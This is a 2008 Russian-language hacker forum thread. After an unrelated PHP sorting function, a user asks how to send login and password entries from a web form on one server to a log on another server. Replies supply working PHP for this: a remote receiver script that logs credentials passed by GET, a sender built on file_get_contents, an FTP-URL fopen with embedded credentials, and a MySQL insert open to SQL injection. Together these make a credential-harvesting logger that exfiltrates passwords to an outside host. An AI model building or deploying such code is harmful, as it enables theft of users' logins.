
09.12.2008, 16:21
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме: 6722038
Репутация:
1385
|
|
PHP код:
<?
function mm($a1, $a2){
return strcmp(substr($a1,3),substr($a2,3));
}
function mm1($a1, $a2){
return strcmp(substr($a2,3),substr($a1,3));
}
function srt($arr, $num, $tip = 0){ # $num - имя столбца для сортировки; $tip - вид сортировки, 0 - обычный порядок, 1 - обратный;
$abc = array();
$fin = array();
foreach($arr as $k=>$v){
$abc[] = $k.'::'.$arr[$k][$num];
}
if (!$tip) usort($abc, 'mm');
else usort($abc, 'mm1');
foreach($abc as $elf) $fin[] = $arr[substr($elf,0,1)];
return $fin;
}
# например вот сортировка по имени в обратном порядке, если взать таблу придложенную гифтсом
srt($a,'Imya',1);
?>
|
|
|

09.12.2008, 16:29
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Собственно вопрос.
Есть 2 сервера с пыхыпы.На 1 стоит форма например, логин пароль.И эти данные при вводе пишться в файл таким вот образом.
PHP код:
$fp = fopen("logs_name.txt","a+");
fwrite($fp, "Логин: $who Пароль: $pass \n");
fclose($fp);
Все работает,все пучком.Теперь идет вопрос.Как заставить данные записать в файл на другом сервере?Пробывал так:
PHP код:
$fp = fopen("http://yaou.ru/logs_name.txt","a+");
Ничего не вышло.Собственно как?)
2 вопрос.Покажите пожалуйста,как эти данные записать в БД мускул.Самый просто скрипт,чтобы все данные,логин и пас от БД хранились в нем же.Спасибо.
|
|
|

09.12.2008, 16:37
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме: 1754802
Репутация:
380
|
|
Сообщение от m0Hze
$fp = fopen("http://yaou.ru/logs_name.txt","a+");
ты так ничего не запишешь, на удаленом сервере должен стоять такой же скрипт:
PHP код:
$in=strip_tags(@$_GET['in']);
if(!emtpy($in)){
$fp = fopen("logs_name.txt","a+");
fwrite($fp, "Логин: $who Пароль: $pass \n");
fclose($fp);
}
|
|
|

09.12.2008, 16:40
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от PaCo
ты так ничего не запишешь, на удаленом сервере должен стоять такой же скрипт:
PHP код:
$in=strip_tags(@$_GET['in']);
if(!emtpy($in)){
$fp = fopen("logs_name.txt","a+");
fwrite($fp, "Логин: $who Пароль: $pass \n");
fclose($fp);
}
Немного непонятно с этм моментом.
Покажи пожалуйста,что должно стоять на 1 сервере,а что на другом.Чтото я просто системы не понял,ведь первый скрипт не обращаеться к скрипту на другом,а он обращаеться к текстовику.В общем напиши пожуалуйста.
|
|
|

09.12.2008, 16:49
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме: 1754802
Репутация:
380
|
|
Сообщение от m0Hze
Немного непонятно с этм моментом.
Покажи пожалуйста,что должно стоять на 1 сервере,а что на другом.Чтото я просто системы не понял,ведь первый скрипт не обращаеться к скрипту на другом,а он обращаеться к текстовику.В общем напиши пожуалуйста.
это на удаленом серваке:
PHP код:
<?php
$who=strip_tags(urldecode(@$_GET['who']));
$pass=strip_tags(urldecode(@$_GET['pass']));
if(!emtpy($who) && !emtpy($pass)){
$fp = fopen("logs_name.txt","wb");
fwrite($fp, "Логин: $who Пароль: $pass \n");
fclose($fp);
}
?>
на том с которого осылаешь:
PHP код:
<?php
$who=urlencode("root");
$pass=urlencode("паролик");
$addr="http://адрессудаленгосерва/путь_к_скрипту.php?pass=$pass&who=$who";
file_get_contents($addr);
?>
Последний раз редактировалось PaCo; 09.12.2008 в 16:53..
|
|
|

09.12.2008, 16:40
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме: 6722038
Репутация:
1385
|
|
Сообщение от m0Hze
PHP код:
$fp = fopen("http://yaou.ru/logs_name.txt","a+");
Ничего не вышло.Собственно как?)
2 вопрос.Покажите пожалуйста,как эти данные записать в БД мускул.Самый просто скрипт,чтобы все данные,логин и пас от БД хранились в нем же.Спасибо.
хуяссе .. если б так можно было, я б захватил инет
PHP код:
fopen("ftp://blabla:qwerty@google.com/log.txt", "a");
и кстете, зачем ты писал a+ ?? ты вроде только пишешь .. так что ставь просто а.
-----------
2 PaCo
а это нах ??? o_O лучше уже прикрутить ещё третий сервер, на который будут передаваться данные с первого, а уже с третьего - будут на второрй 
|
|
|

14.12.2008, 00:23
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от 159932
хуяссе .. если б так можно было, я б захватил инет
PHP код:
fopen("ftp://blabla:qwerty@google.com/log.txt", "a");
и кстете, зачем ты писал a+ ?? ты вроде только пишешь .. так что ставь просто а.
-----------
2 PaCo
а это нах ??? o_O лучше уже прикрутить ещё третий сервер, на который будут передаваться данные с первого, а уже с третьего - будут на второрй 
Вопрос по записи на удаленный фтп данных из полей на сайте.То что ты мне посоветывал не катит.Вот что получаю:
Код:
Warning: fopen(ftp://...@sever.ru/log.txt) [function.fopen]: failed to open stream: FTP server reports 550 /log.txt: Permission denied in /home/xxxx/domains/mysite.ru/public_html/test/log.php on line 5
Вот сам код записи на удаоенку:
PHP код:
fopen("ftp://login:pass@server.ru/log.txt", "a");
fwrite($fp,"$Login:$Passwd\n <br>");
fclose($fp);
Чтобы не было вопросов, $Login:$Passwd береться из самой формы и пишеться на фтп другого сервера в файл log.txt. Права выставил,логин пас верные.Ояняйте в чем моя ошибко Ж)
|
|
|

09.12.2008, 16:35
|
|
Познающий
Регистрация: 10.01.2007
Сообщений: 67
Провел на форуме: 459846
Репутация:
63
|
|
PHP код:
mysql_connect("servername", "login", "password");
mysql_select_db("database");
mysql_query("set names cp1251"); //так, на всякий случай=)
mysql_query("insert into table (row_login, row_pass) values ('$who', '$pass')");
|
|
|

09.12.2008, 16:38
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Всем спасибо,сейчас попробую.
|
|
|

09.12.2008, 16:58
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме: 6722038
Репутация:
1385
|
|
2 PaCo
нах это делать гетом ?
и почему не открывать fopen'ом фтп ? в чём прикол? чем сложнее - тем веселее? ну так реализуй вариант ещё веселей, описаный постом выше, с использованием 3х серверов...
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|